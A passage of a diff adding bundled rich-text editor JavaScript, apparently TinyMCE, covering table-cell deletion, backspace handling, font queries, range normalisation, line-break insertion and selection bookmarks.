+    var startCell = getClosestCell$1(rng.startContainer, isRoot);
+    var endCell = getClosestCell$1(rng.endContainer, isRoot);
+    return rng.collapsed ? Option.none() : liftN([
+      startCell,
+      endCell
+    ], tableCellRng).fold(function () {
+      return startCell.fold(function () {
+        return endCell.bind(function (endCell) {
+          return getClosestTable(endCell, isRoot).bind(function (table) {
+            return head(getTableCells(table)).map(function (startCell) {
+              return tableCellRng(startCell, endCell);
+            });
+          });
+        });
+      }, function (startCell) {
+        return getClosestTable(startCell, isRoot).bind(function (table) {
+          return last(getTableCells(table)).map(function (endCell) {
+            return tableCellRng(startCell, endCell);
+          });
+        });
+      });
+    }, function (cellRng) {
+      return isWithinSameTable(isRoot, cellRng) ? Option.none() : getCellRangeFromStartTable(cellRng, isRoot);
+    });
+  };
+  var isWithinSameTable = function (isRoot, cellRng) {
+    return getTableFromCellRng(cellRng, isRoot).isSome();
+  };
+  var getCellRng = function (rng, isRoot) {
+    var startCell = getClosestCell$1(rng.startContainer, isRoot);
+    var endCell = getClosestCell$1(rng.endContainer, isRoot);
+    return liftN([
+      startCell,
+      endCell
+    ], tableCellRng).filter(isExpandedCellRng).filter(function (cellRng) {
+      return isWithinSameTable(isRoot, cellRng);
+    }).orThunk(function () {
+      return partialSelection(isRoot, rng);
+    });
+  };
+  var getTableSelectionFromCellRng = function (cellRng, isRoot) {
+    return getTableFromCellRng(cellRng, isRoot).map(function (table) {
+      return tableSelection(cellRng, table, getTableCells(table));
+    });
+  };
+  var getTableSelectionFromRng = function (root, rng) {
+    var isRoot = isRootFromElement(root);
+    return getCellRng(rng, isRoot).bind(function (cellRng) {
+      return getTableSelectionFromCellRng(cellRng, isRoot);
+    });
+  };
+  var getCellIndex = function (cells, cell) {
+    return findIndex(cells, function (x) {
+      return $_5raon11ejjgwe7o5.eq(x, cell);
+    });
+  };
+  var getSelectedCells = function (tableSelection) {
+    return liftN([
+      getCellIndex(tableSelection.cells(), tableSelection.rng().start()),
+      getCellIndex(tableSelection.cells(), tableSelection.rng().end())
+    ], function (startIndex, endIndex) {
+      return tableSelection.cells().slice(startIndex, endIndex + 1);
+    });
+  };
+  var getAction = function (tableSelection) {
+    return getSelectedCells(tableSelection).map(function (selected) {
+      var cells = tableSelection.cells();
+      return selected.length === cells.length ? deleteAction.removeTable(tableSelection.table()) : deleteAction.emptyCells(selected);
+    });
+  };
+  var getActionFromCells = function (cells) {
+    return deleteAction.emptyCells(cells);
+  };
+  var getActionFromRange = function (root, rng) {
+    return getTableSelectionFromRng(root, rng).bind(getAction);
+  };
+  var $_cyt1v04djjgwe8ex = {
+    getActionFromRange: getActionFromRange,
+    getActionFromCells: getActionFromCells
+  };
+
+  var getRanges = function (selection) {
+    var ranges = [];
+    if (selection) {
+      for (var i = 0; i < selection.rangeCount; i++) {
+        ranges.push(selection.getRangeAt(i));
+      }
+    }
+    return ranges;
+  };
+  var getSelectedNodes = function (ranges) {
+    return bind(ranges, function (range$$1) {
+      var node = getSelectedNode(range$$1);
+      return node ? [Element$$1.fromDom(node)] : [];
+    });
+  };
+  var hasMultipleRanges = function (selection) {
+    return getRanges(selection).length > 1;
+  };
+  var $_2y1a8s4fjjgwe8fm = {
+    getRanges: getRanges,
+    getSelectedNodes: getSelectedNodes,
+    hasMultipleRanges: hasMultipleRanges
+  };
+
+  var getCellsFromRanges = function (ranges) {
+    return filter($_2y1a8s4fjjgwe8fm.getSelectedNodes(ranges), isTableCell);
+  };
+  var getCellsFromElement = function (elm) {
+    var selectedCells = $_d3ydn427jjgwe7uf.descendants(elm, 'td[data-mce-selected],th[data-mce-selected]');
+    return selectedCells;
+  };
+  var getCellsFromElementOrRanges = function (ranges, element) {
+    var selectedCells = getCellsFromElement(element);
+    var rangeCells = getCellsFromRanges(ranges);
+    return selectedCells.length > 0 ? selectedCells : rangeCells;
+  };
+  var getCellsFromEditor = function (editor) {
+    return getCellsFromElementOrRanges($_2y1a8s4fjjgwe8fm.getRanges(editor.selection.getSel()), Element$$1.fromDom(editor.getBody()));
+  };
+  var $_97ifsc4ejjgwe8fg = {
+    getCellsFromRanges: getCellsFromRanges,
+    getCellsFromElement: getCellsFromElement,
+    getCellsFromElementOrRanges: getCellsFromElementOrRanges,
+    getCellsFromEditor: getCellsFromEditor
+  };
+
+  var emptyCells = function (editor, cells) {
+    each(cells, $_fhp7pa3ljjgwe84n.fillWithPaddingBr);
+    editor.selection.setCursorLocation(cells[0].dom(), 0);
+    return true;
+  };
+  var deleteTableElement = function (editor, table) {
+    $_eg6ib44jjgwe8ck.deleteElement(editor, false, table);
+    return true;
+  };
+  var deleteCellRange = function (editor, rootElm, rng) {
+    return $_cyt1v04djjgwe8ex.getActionFromRange(rootElm, rng).map(function (action) {
+      return action.fold(curry(deleteTableElement, editor), curry(emptyCells, editor));
+    });
+  };
+  var deleteCaptionRange = function (editor, caption) {
+    return emptyElement(editor, caption);
+  };
+  var deleteTableRange = function (editor, rootElm, rng, startElm) {
+    return getParentCaption(rootElm, startElm).fold(function () {
+      return deleteCellRange(editor, rootElm, rng);
+    }, function (caption) {
+      return deleteCaptionRange(editor, caption);
+    }).getOr(false);
+  };
+  var deleteRange$1 = function (editor, startElm) {
+    var rootNode = Element$$1.fromDom(editor.getBody());
+    var rng = editor.selection.getRng();
+    var selectedCells = $_97ifsc4ejjgwe8fg.getCellsFromEditor(editor);
+    return selectedCells.length !== 0 ? emptyCells(editor, selectedCells) : deleteTableRange(editor, rootNode, rng, startElm);
+  };
+  var getParentCell = function (rootElm, elm) {
+    return find($_cvft7x3zjjgwe8bh.parentsAndSelf(elm, rootElm), isTableCell);
+  };
+  var getParentCaption = function (rootElm, elm) {
+    return find($_cvft7x3zjjgwe8bh.parentsAndSelf(elm, rootElm), function (elm) {
+      return $_fxxo5411jjgwe7lq.name(elm) === 'caption';
+    });
+  };
+  var deleteBetweenCells = function (editor, rootElm, forward, fromCell, from) {
+    return $_8q1ver2yjjgwe7z3.navigate(forward, editor.getBody(), from).bind(function (to) {
+      return getParentCell(rootElm, Element$$1.fromDom(to.getNode())).map(function (toCell) {
+        return $_5raon11ejjgwe7o5.eq(toCell, fromCell) === false;
+      });
+    });
+  };
+  var emptyElement = function (editor, elm) {
+    $_fhp7pa3ljjgwe84n.fillWithPaddingBr(elm);
+    editor.selection.setCursorLocation(elm.dom(), 0);
+    return Option.some(true);
+  };
+  var isDeleteOfLastCharPos = function (fromCaption, forward, from, to) {
+    return $_8q1ver2yjjgwe7z3.firstPositionIn(fromCaption.dom()).bind(function (first) {
+      return $_8q1ver2yjjgwe7z3.lastPositionIn(fromCaption.dom()).map(function (last$$1) {
+        return forward ? from.isEqual(first) && to.isEqual(last$$1) : from.isEqual(last$$1) && to.isEqual(first);
+      });
+    }).getOr(true);
+  };
+  var emptyCaretCaption = function (editor, elm) {
+    return emptyElement(editor, elm);
+  };
+  var validateCaretCaption = function (rootElm, fromCaption, to) {
+    return getParentCaption(rootElm, Element$$1.fromDom(to.getNode())).map(function (toCaption) {
+      return $_5raon11ejjgwe7o5.eq(toCaption, fromCaption) === false;
+    });
+  };
+  var deleteCaretInsideCaption = function (editor, rootElm, forward, fromCaption, from) {
+    return $_8q1ver2yjjgwe7z3.navigate(forward, editor.getBody(), from).bind(function (to) {
+      return isDeleteOfLastCharPos(fromCaption, forward, from, to) ? emptyCaretCaption(editor, fromCaption) : validateCaretCaption(rootElm, fromCaption, to);
+    }).or(Option.some(true));
+  };
+  var deleteCaretCells = function (editor, forward, rootElm, startElm) {
+    var from = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+    return getParentCell(rootElm, startElm).bind(function (fromCell) {
+      return $_99xuux3wjjgwe8as.isEmpty(fromCell) ? emptyElement(editor, fromCell) : deleteBetweenCells(editor, rootElm, forward, fromCell, from);
+    });
+  };
+  var deleteCaretCaption = function (editor, forward, rootElm, fromCaption) {
+    var from = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+    return $_99xuux3wjjgwe8as.isEmpty(fromCaption) ? emptyElement(editor, fromCaption) : deleteCaretInsideCaption(editor, rootElm, forward, fromCaption, from);
+  };
+  var deleteCaret = function (editor, forward, startElm) {
+    var rootElm = Element$$1.fromDom(editor.getBody());
+    return getParentCaption(rootElm, startElm).fold(function () {
+      return deleteCaretCells(editor, forward, rootElm, startElm);
+    }, function (fromCaption) {
+      return deleteCaretCaption(editor, forward, rootElm, fromCaption);
+    }).getOr(false);
+  };
+  var backspaceDelete$4 = function (editor, forward) {
+    var startElm = Element$$1.fromDom(editor.selection.getStart(true));
+    var cells = $_97ifsc4ejjgwe8fg.getCellsFromEditor(editor);
+    return editor.selection.isCollapsed() && cells.length === 0 ? deleteCaret(editor, forward, startElm) : deleteRange$1(editor, startElm);
+  };
+  var $_f2hioa4cjjgwe8ee = { backspaceDelete: backspaceDelete$4 };
+
+  var nativeCommand = function (editor, command) {
+    editor.getDoc().execCommand(command, false, null);
+  };
+  var deleteCommand = function (editor) {
+    if ($_cc2jel41jjgwe8bx.backspaceDelete(editor, false)) {
+      return;
+    } else if ($_fwrmt445jjgwe8d5.backspaceDelete(editor, false)) {
+      return;
+    } else if ($_6q4s8w3qjjgwe85j.backspaceDelete(editor, false)) {
+      return;
+    } else if ($_f2hioa4cjjgwe8ee.backspaceDelete(editor)) {
+      return;
+    } else if ($_8u9liw40jjgwe8bn.backspaceDelete(editor, false)) {
+      return;
+    } else {
+      nativeCommand(editor, 'Delete');
+      $_3vi93f3sjjgwe861.paddEmptyBody(editor);
+    }
+  };
+  var forwardDeleteCommand = function (editor) {
+    if ($_cc2jel41jjgwe8bx.backspaceDelete(editor, true)) {
+      return;
+    } else if ($_fwrmt445jjgwe8d5.backspaceDelete(editor, true)) {
+      return;
+    } else if ($_6q4s8w3qjjgwe85j.backspaceDelete(editor, true)) {
+      return;
+    } else if ($_f2hioa4cjjgwe8ee.backspaceDelete(editor)) {
+      return;
+    } else if ($_8u9liw40jjgwe8bn.backspaceDelete(editor, true)) {
+      return;
+    } else {
+      nativeCommand(editor, 'ForwardDelete');
+    }
+  };
+  var $_36hh3g3pjjgwe85i = {
+    deleteCommand: deleteCommand,
+    forwardDeleteCommand: forwardDeleteCommand
+  };
+
+  var getSpecifiedFontProp = function (propName, rootElm, elm) {
+    var getProperty = function (elm) {
+      return $_e0ei5w13jjgwe7m4.getRaw(elm, propName);
+    };
+    var isRoot = function (elm) {
+      return $_5raon11ejjgwe7o5.eq(Element$$1.fromDom(rootElm), elm);
+    };
+    return $_7kjxyh2ajjgwe7un.closest(Element$$1.fromDom(elm), function (elm) {
+      return getProperty(elm).isSome();
+    }, isRoot).bind(getProperty);
+  };
+  var round$1 = function (number, precision) {
+    var factor = Math.pow(10, precision);
+    return Math.round(number * factor) / factor;
+  };
+  var toPt = function (fontSize, precision) {
+    if (/[0-9.]+px$/.test(fontSize)) {
+      return round$1(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
+    }
+    return fontSize;
+  };
+  var normalizeFontFamily = function (fontFamily) {
+    return fontFamily.replace(/[\'\"\\]/g, '').replace(/,\s+/g, ',');
+  };
+  var getComputedFontProp = function (propName, elm) {
+    return Option.from(DOMUtils$1.DOM.getStyle(elm, propName, true));
+  };
+  var getFontProp = function (propName) {
+    return function (rootElm, elm) {
+      return Option.from(elm).map(Element$$1.fromDom).filter($_fxxo5411jjgwe7lq.isElement).bind(function (element) {
+        return getSpecifiedFontProp(propName, rootElm, element.dom()).or(getComputedFontProp(propName, element.dom()));
+      }).getOr('');
+    };
+  };
+  var $_1jxybs4hjjgwe8fu = {
+    getFontSize: getFontProp('font-size'),
+    getFontFamily: compose(normalizeFontFamily, getFontProp('font-family')),
+    toPt: toPt
+  };
+
+  var findFirstCaretElement = function (editor) {
+    return $_8q1ver2yjjgwe7z3.firstPositionIn(editor.getBody()).map(function (caret) {
+      var container = caret.container();
+      return $_3b9u2y1rjjgwe7qe.isText(container) ? container.parentNode : container;
+    });
+  };
+  var isRangeAtStartOfNode = function (rng, root) {
+    return rng.startContainer === root && rng.startOffset === 0;
+  };
+  var getCaretElement = function (editor) {
+    return Option.from(editor.selection.getRng()).bind(function (rng) {
+      var root = editor.getBody();
+      return isRangeAtStartOfNode(rng, root) ? Option.none() : Option.from(editor.selection.getStart(true));
+    });
+  };
+  var fromFontSizeNumber = function (editor, value) {
+    if (/^[0-9\.]+$/.test(value)) {
+      var fontSizeNumber = parseInt(value, 10);
+      if (fontSizeNumber >= 1 && fontSizeNumber <= 7) {
+        var fontSizes = $_259vs538jjgwe82a.getFontStyleValues(editor);
+        var fontClasses = $_259vs538jjgwe82a.getFontSizeClasses(editor);
+        if (fontClasses) {
+          return fontClasses[fontSizeNumber - 1] || value;
+        } else {
+          return fontSizes[fontSizeNumber - 1] || value;
+        }
+      } else {
+        return value;
+      }
+    } else {
+      return value;
+    }
+  };
+  var fontNameAction = function (editor, value) {
+    editor.formatter.toggle('fontname', { value: fromFontSizeNumber(editor, value) });
+    editor.nodeChanged();
+  };
+  var fontNameQuery = function (editor) {
+    return getCaretElement(editor).fold(function () {
+      return findFirstCaretElement(editor).map(function (caretElement) {
+        return $_1jxybs4hjjgwe8fu.getFontFamily(editor.getBody(), caretElement);
+      }).getOr('');
+    }, function (caretElement) {
+      return $_1jxybs4hjjgwe8fu.getFontFamily(editor.getBody(), caretElement);
+    });
+  };
+  var fontSizeAction = function (editor, value) {
+    editor.formatter.toggle('fontsize', { value: fromFontSizeNumber(editor, value) });
+    editor.nodeChanged();
+  };
+  var fontSizeQuery = function (editor) {
+    return getCaretElement(editor).fold(function () {
+      return findFirstCaretElement(editor).map(function (caretElement) {
+        return $_1jxybs4hjjgwe8fu.getFontSize(editor.getBody(), caretElement);
+      }).getOr('');
+    }, function (caretElement) {
+      return $_1jxybs4hjjgwe8fu.getFontSize(editor.getBody(), caretElement);
+    });
+  };
+
+  var isEq$2 = function (rng1, rng2) {
+    return rng1 && rng2 && (rng1.startContainer === rng2.startContainer && rng1.startOffset === rng2.startOffset) && (rng1.endContainer === rng2.endContainer && rng1.endOffset === rng2.endOffset);
+  };
+  var $_g1gkxh4kjjgwe8gw = { isEq: isEq$2 };
+
+  var findParent = function (node, rootNode, predicate) {
+    while (node && node !== rootNode) {
+      if (predicate(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var hasParent = function (node, rootNode, predicate) {
+    return findParent(node, rootNode, predicate) !== null;
+  };
+  var hasParentWithName = function (node, rootNode, name) {
+    return hasParent(node, rootNode, function (node) {
+      return node.nodeName === name;
+    });
+  };
+  var isTable$2 = function (node) {
+    return node && node.nodeName === 'TABLE';
+  };
+  var isTableCell$3 = function (node) {
+    return node && /^(TD|TH|CAPTION)$/.test(node.nodeName);
+  };
+  var isCeFalseCaretContainer = function (node, rootNode) {
+    return isCaretContainer(node) && hasParent(node, rootNode, isCaretNode) === false;
+  };
+  var hasBrBeforeAfter = function (dom, node, left) {
+    var walker = new TreeWalker(node, dom.getParent(node.parentNode, dom.isBlock) || dom.getRoot());
+    while (node = walker[left ? 'prev' : 'next']()) {
+      if ($_3b9u2y1rjjgwe7qe.isBr(node)) {
+        return true;
+      }
+    }
+  };
+  var isPrevNode = function (node, name) {
+    return node.previousSibling && node.previousSibling.nodeName === name;
+  };
+  var hasContentEditableFalseParent = function (body, node) {
+    while (node && node !== body) {
+      if ($_3b9u2y1rjjgwe7qe.isContentEditableFalse(node)) {
+        return true;
+      }
+      node = node.parentNode;
+    }
+    return false;
+  };
+  var findTextNodeRelative = function (dom, isAfterNode, collapsed, left, startNode) {
+    var walker, lastInlineElement, parentBlockContainer;
+    var body = dom.getRoot();
+    var node;
+    var nonEmptyElementsMap = dom.schema.getNonEmptyElements();
+    parentBlockContainer = dom.getParent(startNode.parentNode, dom.isBlock) || body;
+    if (left && $_3b9u2y1rjjgwe7qe.isBr(startNode) && isAfterNode && dom.isEmpty(parentBlockContainer)) {
+      return Option.some(CaretPosition(startNode.parentNode, dom.nodeIndex(startNode)));
+    }
+    walker = new TreeWalker(startNode, parentBlockContainer);
+    while (node = walker[left ? 'prev' : 'next']()) {
+      if (dom.getContentEditableParent(node) === 'false' || isCeFalseCaretContainer(node, body)) {
+        return Option.none();
+      }
+      if ($_3b9u2y1rjjgwe7qe.isText(node) && node.nodeValue.length > 0) {
+        if (hasParentWithName(node, body, 'A') === false) {
+          return Option.some(CaretPosition(node, left ? node.nodeValue.length : 0));
+        }
+        return Option.none();
+      }
+      if (dom.isBlock(node) || nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+        return Option.none();
+      }
+      lastInlineElement = node;
+    }
+    if (collapsed && lastInlineElement) {
+      return Option.some(CaretPosition(lastInlineElement, 0));
+    }
+    return Option.none();
+  };
+  var normalizeEndPoint = function (dom, collapsed, start, rng) {
+    var container, offset, walker;
+    var body = dom.getRoot();
+    var node, nonEmptyElementsMap;
+    var directionLeft, isAfterNode, normalized = false;
+    container = rng[(start ? 'start' : 'end') + 'Container'];
+    offset = rng[(start ? 'start' : 'end') + 'Offset'];
+    isAfterNode = $_3b9u2y1rjjgwe7qe.isElement(container) && offset === container.childNodes.length;
+    nonEmptyElementsMap = dom.schema.getNonEmptyElements();
+    directionLeft = start;
+    if (isCaretContainer(container)) {
+      return Option.none();
+    }
+    if ($_3b9u2y1rjjgwe7qe.isElement(container) && offset > container.childNodes.length - 1) {
+      directionLeft = false;
+    }
+    if ($_3b9u2y1rjjgwe7qe.isDocument(container)) {
+      container = body;
+      offset = 0;
+    }
+    if (container === body) {
+      if (directionLeft) {
+        node = container.childNodes[offset > 0 ? offset - 1 : 0];
+        if (node) {
+          if (isCaretContainer(node)) {
+            return Option.none();
+          }
+          if (nonEmptyElementsMap[node.nodeName] || isTable$2(node)) {
+            return Option.none();
+          }
+        }
+      }
+      if (container.hasChildNodes()) {
+        offset = Math.min(!directionLeft && offset > 0 ? offset - 1 : offset, container.childNodes.length - 1);
+        container = container.childNodes[offset];
+        offset = $_3b9u2y1rjjgwe7qe.isText(container) && isAfterNode ? container.data.length : 0;
+        if (!collapsed && container === body.lastChild && isTable$2(container)) {
+          return Option.none();
+        }
+        if (hasContentEditableFalseParent(body, container) || isCaretContainer(container)) {
+          return Option.none();
+        }
+        if (container.hasChildNodes() && isTable$2(container) === false) {
+          node = container;
+          walker = new TreeWalker(container, body);
+          do {
+            if ($_3b9u2y1rjjgwe7qe.isContentEditableFalse(node) || isCaretContainer(node)) {
+              normalized = false;
+              break;
+            }
+            if ($_3b9u2y1rjjgwe7qe.isText(node) && node.nodeValue.length > 0) {
+              offset = directionLeft ? 0 : node.nodeValue.length;
+              container = node;
+              normalized = true;
+              break;
+            }
+            if (nonEmptyElementsMap[node.nodeName.toLowerCase()] && !isTableCell$3(node)) {
+              offset = dom.nodeIndex(node);
+              container = node.parentNode;
+              if (!directionLeft) {
+                offset++;
+              }
+              normalized = true;
+              break;
+            }
+          } while (node = directionLeft ? walker.next() : walker.prev());
+        }
+      }
+    }
+    if (collapsed) {
+      if ($_3b9u2y1rjjgwe7qe.isText(container) && offset === 0) {
+        findTextNodeRelative(dom, isAfterNode, collapsed, true, container).each(function (pos) {
+          container = pos.container();
+          offset = pos.offset();
+          normalized = true;
+        });
+      }
+      if ($_3b9u2y1rjjgwe7qe.isElement(container)) {
+        node = container.childNodes[offset];
+        if (!node) {
+          node = container.childNodes[offset - 1];
+        }
+        if (node && $_3b9u2y1rjjgwe7qe.isBr(node) && !isPrevNode(node, 'A') && !hasBrBeforeAfter(dom, node, false) && !hasBrBeforeAfter(dom, node, true)) {
+          findTextNodeRelative(dom, isAfterNode, collapsed, true, node).each(function (pos) {
+            container = pos.container();
+            offset = pos.offset();
+            normalized = true;
+          });
+        }
+      }
+    }
+    if (directionLeft && !collapsed && $_3b9u2y1rjjgwe7qe.isText(container) && offset === container.nodeValue.length) {
+      findTextNodeRelative(dom, isAfterNode, collapsed, false, container).each(function (pos) {
+        container = pos.container();
+        offset = pos.offset();
+        normalized = true;
+      });
+    }
+    return normalized ? Option.some(CaretPosition(container, offset)) : Option.none();
+  };
+  var normalize$1 = function (dom, rng) {
+    var collapsed = rng.collapsed, normRng = rng.cloneRange();
+    var startPos = CaretPosition.fromRangeStart(rng);
+    normalizeEndPoint(dom, collapsed, true, normRng).each(function (pos) {
+      if (!collapsed || !CaretPosition.isAbove(startPos, pos)) {
+        normRng.setStart(pos.container(), pos.offset());
+      }
+    });
+    if (!collapsed) {
+      normalizeEndPoint(dom, collapsed, false, normRng).each(function (pos) {
+        normRng.setEnd(pos.container(), pos.offset());
+      });
+    }
+    if (collapsed) {
+      normRng.collapse(true);
+    }
+    return $_g1gkxh4kjjgwe8gw.isEq(rng, normRng) ? Option.none() : Option.some(normRng);
+  };
+  var $_eqgqyj4jjjgwe8gi = { normalize: normalize$1 };
+
+  var hasRightSideContent = function (schema, container, parentBlock) {
+    var walker = new TreeWalker(container, parentBlock);
+    var node;
+    var nonEmptyElementsMap = schema.getNonEmptyElements();
+    while (node = walker.next()) {
+      if (nonEmptyElementsMap[node.nodeName.toLowerCase()] || node.length > 0) {
+        return true;
+      }
+    }
+  };
+  var scrollToBr = function (dom, selection, brElm) {
+    var marker = dom.create('span', {}, '&nbsp;');
+    brElm.parentNode.insertBefore(marker, brElm);
+    selection.scrollIntoView(marker);
+    dom.remove(marker);
+  };
+  var moveSelectionToBr = function (dom, selection, brElm, extraBr) {
+    var rng = dom.createRng();
+    if (!extraBr) {
+      rng.setStartAfter(brElm);
+      rng.setEndAfter(brElm);
+    } else {
+      rng.setStartBefore(brElm);
+      rng.setEndBefore(brElm);
+    }
+    selection.setRng(rng);
+  };
+  var insertBrAtCaret = function (editor, evt) {
+    var selection = editor.selection, dom = editor.dom;
+    var brElm, extraBr;
+    var rng = selection.getRng();
+    $_eqgqyj4jjjgwe8gi.normalize(dom, rng).each(function (normRng) {
+      rng.setStart(normRng.startContainer, normRng.startOffset);
+      rng.setEnd(normRng.endContainer, normRng.endOffset);
+    });
+    var offset = rng.startOffset;
+    var container = rng.startContainer;
+    if (container.nodeType === 1 && container.hasChildNodes()) {
+      var isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
+      container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+      if (isAfterLastNodeInContainer && container.nodeType === 3) {
+        offset = container.nodeValue.length;
+      } else {
+        offset = 0;
+      }
+    }
+    var parentBlock = dom.getParent(container, dom.isBlock);
+    var containerBlock = parentBlock ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
+    var containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : '';
+    var isControlKey = evt && evt.ctrlKey;
+    if (containerBlockName === 'LI' && !isControlKey) {
+      parentBlock = containerBlock;
+    }
+    if (container && container.nodeType === 3 && offset >= container.nodeValue.length) {
+      if (!hasRightSideContent(editor.schema, container, parentBlock)) {
+        brElm = dom.create('br');
+        rng.insertNode(brElm);
+        rng.setStartAfter(brElm);
+        rng.setEndAfter(brElm);
+        extraBr = true;
+      }
+    }
+    brElm = dom.create('br');
+    rng.insertNode(brElm);
+    scrollToBr(dom, selection, brElm);
+    moveSelectionToBr(dom, selection, brElm, extraBr);
+    editor.undoManager.add();
+  };
+  var insertBrBefore = function (editor, inline) {
+    var br = Element$$1.fromTag('br');
+    $_ewo3u51yjjgwe7su.before(Element$$1.fromDom(inline), br);
+    editor.undoManager.add();
+  };
+  var insertBrAfter = function (editor, inline) {
+    if (!hasBrAfter(editor.getBody(), inline)) {
+      $_ewo3u51yjjgwe7su.after(Element$$1.fromDom(inline), Element$$1.fromTag('br'));
+    }
+    var br = Element$$1.fromTag('br');
+    $_ewo3u51yjjgwe7su.after(Element$$1.fromDom(inline), br);
+    scrollToBr(editor.dom, editor.selection, br.dom());
+    moveSelectionToBr(editor.dom, editor.selection, br.dom(), false);
+    editor.undoManager.add();
+  };
+  var isBeforeBr = function (pos) {
+    return $_3b9u2y1rjjgwe7qe.isBr(pos.getNode());
+  };
+  var hasBrAfter = function (rootNode, startNode) {
+    if (isBeforeBr(CaretPosition$1.after(startNode))) {
+      return true;
+    } else {
+      return $_8q1ver2yjjgwe7z3.nextPosition(rootNode, CaretPosition$1.after(startNode)).map(function (pos) {
+        return $_3b9u2y1rjjgwe7qe.isBr(pos.getNode());
+      }).getOr(false);
+    }
+  };
+  var isAnchorLink = function (elm) {
+    return elm && elm.nodeName === 'A' && 'href' in elm;
+  };
+  var isInsideAnchor = function (location) {
+    return location.fold(constant(false), isAnchorLink, isAnchorLink, constant(false));
+  };
+  var readInlineAnchorLocation = function (editor) {
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    var position = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+    return $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, editor.getBody(), position).filter(isInsideAnchor);
+  };
+  var insertBrOutsideAnchor = function (editor, location) {
+    location.fold(noop, curry(insertBrBefore, editor), curry(insertBrAfter, editor), noop);
+  };
+  var insert = function (editor, evt) {
+    var anchorLocation = readInlineAnchorLocation(editor);
+    if (anchorLocation.isSome()) {
+      anchorLocation.each(curry(insertBrOutsideAnchor, editor));
+    } else {
+      insertBrAtCaret(editor, evt);
+    }
+  };
+  var $_4o98q44ijjgwe8g6 = { insert: insert };
+
+  var adt = Adt.generate([
+    { 'before': ['element'] },
+    {
+      'on': [
+        'element',
+        'offset'
+      ]
+    },
+    { after: ['element'] }
+  ]);
+  var cata = function (subject, onBefore, onOn, onAfter) {
+    return subject.fold(onBefore, onOn, onAfter);
+  };
+  var getStart = function (situ) {
+    return situ.fold(identity, identity, identity);
+  };
+  var $_budkgr4njjgwe8hk = {
+    before: adt.before,
+    on: adt.on,
+    after: adt.after,
+    cata: cata,
+    getStart: getStart
+  };
+
+  var type$1 = Adt.generate([
+    { domRange: ['rng'] },
+    {
+      relative: [
+        'startSitu',
+        'finishSitu'
+      ]
+    },
+    {
+      exact: [
+        'start',
+        'soffset',
+        'finish',
+        'foffset'
+      ]
+    }
+  ]);
+  var range$1 = Immutable('start', 'soffset', 'finish', 'foffset');
+  var exactFromRange = function (simRange) {
+    return type$1.exact(simRange.start(), simRange.soffset(), simRange.finish(), simRange.foffset());
+  };
+  var getStart$1 = function (selection) {
+    return selection.match({
+      domRange: function (rng) {
+        return Element$$1.fromDom(rng.startContainer);
+      },
+      relative: function (startSitu, finishSitu) {
+        return $_budkgr4njjgwe8hk.getStart(startSitu);
+      },
+      exact: function (start, soffset, finish, foffset) {
+        return start;
+      }
+    });
+  };
+  var getWin = function (selection) {
+    var start = getStart$1(selection);
+    return $_d3rmjp18jjgwe7nc.defaultView(start);
+  };
+  var $_2mbfo14mjjgwe8he = {
+    domRange: type$1.domRange,
+    relative: type$1.relative,
+    exact: type$1.exact,
+    exactFromRange: exactFromRange,
+    range: range$1,
+    getWin: getWin
+  };
+
+  var browser$3 = $_7vg267ojjgwe7k0.detect().browser;
+  var clamp = function (offset, element) {
+    var max = $_fxxo5411jjgwe7lq.isText(element) ? $_8mxs233ejjgwe82u.get(element).length : $_d3rmjp18jjgwe7nc.children(element).length + 1;
+    if (offset > max) {
+      return max;
+    } else if (offset < 0) {
+      return 0;
+    }
+    return offset;
+  };
+  var normalizeRng = function (rng) {
+    return $_2mbfo14mjjgwe8he.range(rng.start(), clamp(rng.soffset(), rng.start()), rng.finish(), clamp(rng.foffset(), rng.finish()));
+  };
+  var isOrContains = function (root, elm) {
+    return $_5raon11ejjgwe7o5.contains(root, elm) || $_5raon11ejjgwe7o5.eq(root, elm);
+  };
+  var isRngInRoot = function (root) {
+    return function (rng) {
+      return isOrContains(root, rng.start()) && isOrContains(root, rng.finish());
+    };
+  };
+  var shouldStore = function (editor) {
+    return editor.inline === true || browser$3.isIE();
+  };
+  var nativeRangeToSelectionRange = function (r) {
+    return $_2mbfo14mjjgwe8he.range(Element$$1.fromDom(r.startContainer), r.startOffset, Element$$1.fromDom(r.endContainer), r.endOffset);
+  };
+  var readRange = function (win) {
+    var selection = win.getSelection();
+    var rng = !selection || selection.rangeCount === 0 ? Option.none() : Option.from(selection.getRangeAt(0));
+    return rng.map(nativeRangeToSelectionRange);
+  };
+  var getBookmark$2 = function (root) {
+    var win = $_d3rmjp18jjgwe7nc.defaultView(root);
+    return readRange(win.dom()).filter(isRngInRoot(root));
+  };
+  var validate = function (root, bookmark) {
+    return Option.from(bookmark).filter(isRngInRoot(root)).map(normalizeRng);
+  };
+  var bookmarkToNativeRng = function (bookmark) {
+    var rng = document.createRange();
+    try {
+      rng.setStart(bookmark.start().dom(), bookmark.soffset());
+      rng.setEnd(bookmark.finish().dom(), bookmark.foffset());
+      return Option.some(rng);
+    } catch (_) {
+      return Option.none();
+    }
+  };
+  var store = function (editor) {
+    var newBookmark = shouldStore(editor) ? getBookmark$2(Element$$1.fromDom(editor.getBody())) : Option.none();
+    editor.bookmark = newBookmark.isSome() ? newBookmark : editor.bookmark;
+  };
+  var storeNative = function (editor, rng) {
+    var root = Element$$1.fromDom(editor.getBody());
+    var range = shouldStore(editor) ? Option.from(rng) : Option.none();
+    var newBookmark = range.map(nativeRangeToSelectionRange).filter(isRngInRoot(root));
+    editor.bookmark = newBookmark.isSome() ? newBookmark : editor.bookmark;
+  };
+  var getRng = function (editor) {
+    var bookmark = editor.bookmark ? editor.bookmark : Option.none();
+    return bookmark.bind(curry(validate, Element$$1.fromDom(editor.getBody()))).bind(bookmarkToNativeRng);
+  };
+  var restore = function (editor) {
+    getRng(editor).each(function (rng) {
+      editor.selection.setRng(rng);
+    });
+  };
+  var $_4wtqbt4ljjgwe8gy = {
+    store: store,
+    storeNative: storeNative,
+    readRange: readRange,
+    restore: restore,
